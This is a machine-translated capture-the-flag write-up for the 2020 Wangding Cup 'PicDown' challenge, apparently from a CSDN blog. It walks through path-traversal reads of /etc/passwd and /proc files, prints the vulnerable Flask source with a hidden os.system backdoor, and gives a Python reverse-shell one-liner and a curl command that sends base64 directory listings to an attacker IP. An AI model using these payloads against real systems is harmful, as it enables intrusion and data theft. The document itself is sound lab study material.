[Wangding Cup 2020 White Tiger Team] PicDown

Knowledge points

  • File reading
  • File descriptor
  • Python code audit
  • Reverse shell

WP

Generally speaking, it is still a relatively simple topic. The toxic place is the URL. I am stuck on that URL. I really thought it was an SSRF. I didn't want to try to read the file directly in the past. I didn't expect it to be true. :

?url=../../../../../etc/passwd

You can read things. Although I also tried to use file, but I didn't read anything, it seems to be filtered, or I have a poor grasp of basic knowledge.

You can read the file after reading it, and then you find that you read the flag directly. . . . :

?url=../../../../../flag

It is an environmental issue. The flag file is in other places during the Netding Cup competition.
The normal way of thinking is definitely to read these:

/proc/self/environ
/proc/self/cmdline

You can read it python2 app.py, then let's read it/proc/self/cwd/app.py

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

A little audit of the code, or the inspection of the file descriptor, the key can be /proc/self/fd/3read in it, and then pass in the password and shell, and it can be executed. But the problem is that there is no response. There are two ways to this question. One is direct python reverse shell:

?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Then just read the flag directly:
Insert picture description here
there is another kind of curl reverse shell:

?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=curl 118.***.***.***/`ls /|base64`

Because there is a new line in the result, only the content of the first line can be displayed in the log, so it needs to be encrypted once with base64:
Insert picture description here
you can get the completed command execution content by encrypting it again, and you can get the flag.

Guess you like

Origin blog.csdn.net/rfrder/article/details/112310943